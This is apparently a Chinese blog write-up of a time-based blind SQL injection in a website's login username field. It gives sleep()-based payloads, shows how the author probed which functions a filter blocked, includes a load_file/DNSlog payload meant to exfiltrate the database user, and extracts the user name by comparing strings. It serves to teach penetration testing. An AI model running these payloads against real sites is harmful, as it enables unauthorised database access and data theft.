日志详情:
详细信息:
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
我们进入今天的实战案例:
在某测试网站测试过程中,发现登陆框的用户名处存在延时注入。开启bp软件抓包,随便输入用户名和密码,点击登陆,抓到以下数据包。
经过多次测试,可以
判定Uname参数存在sql延时注入。
然后我们在后面加上如下参数后发现延迟10s:
- 'and(select*from(select+sleep(5))a)and'a'='
复制代码
参数如下:
然后我们在后面加上如下参数后发现延迟6s:
- 'and(select*from(select+sleep(3))a)and'a'='
复制代码
参数如下:
根据上面几次的测试可知,sleep(5)时,回显时间为10秒;sleep(3)时,回显时间为6秒,明显存在sql注入,猜测数据库做了两次查询或者查到了两条相同的数据。
再确定存在注入点之后,之后使用Sqlmap来跑数据,发现没办法顺利注入,可能存在拦截或者过滤。所以只能靠自己去测试发现问题。
1.使用如下参数去测试,发现延迟两秒,说明if函数没有被拦截。
- 'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'='
复制代码
2.继续使用如下参数去测试,发现延迟六秒,说明user函数没有被拦截。
- 'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='
复制代码 3.继续使用如下参数去测试,发现没延迟,说明substr被拦截了,接着我使用mid、substring来替换substr函数均被拦截。
- 'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='
复制代码
4.继续使用如下参数去测试,发现没延迟,说明mid、substring、like被拦截了。
- 'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='
复制代码
5.如上这些关键函数都被拦截了,由此判定通过if截断的方法是不可以的,只能如下参数尝试下通过dnslog外带的方式,但是也没有反应。
- payload:'and(select*from(select+sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'))))a)and'a'='
复制代码
最后经过各种测试,发现通过逐字母比较ascii码的方法能绕过上面所述的代码层的拦截,所以要用如下这种方法绕过,通过比较用户名的第一位的ascii码是不是大于或者等于d的ascii码。
相关参数如下:
- 'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='
复制代码
Ascii码表如下:
在数据库中测试:
依次从左到右比较ascii码【select “rooT”>“ro”来说,因为它们两的前两位相等,会比较到第三位,rooT的第三位为o,而ro的第三位是空,所以rooT当然大于ro。】。
所以根据以上原理我们就通过如下参数开始判断用户名的第一个字母:
- payload为:'and(select*from(select+sleep(if(user()>'c',3,0)))a)and'a'=' ,
复制代码
延迟为6秒,说明为true,用户名的第一位字母的ascii码对应大于或等于c字母的ascii码,即大于或等于99。
- 当payload为:'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='
复制代码
延迟为6秒,说明也为true,用户名的第一位字母的ascii码对应大于或等于d字母的ascii码,即大于或等于100。
- 当payload为:'and(select*from(select+sleep(if(user()>'e',3,0)))a)and'a'='
复制代码
延迟为0秒,说明为false,用户名的第一位字母的ascii码对应小于e字母的ascii码,即小于101
最后根据结果分析:
根据步骤二,用户名第一位字母的ascii码大于或者等于100;
根据步骤三,用户名的第一位字母的ascii码小于101,
最后得出用户名第一位字母的ascii码为100,即字母d.
依次类推,最后得出用户名为dctok
【该测试网站此漏洞已修复,用户名也已变更】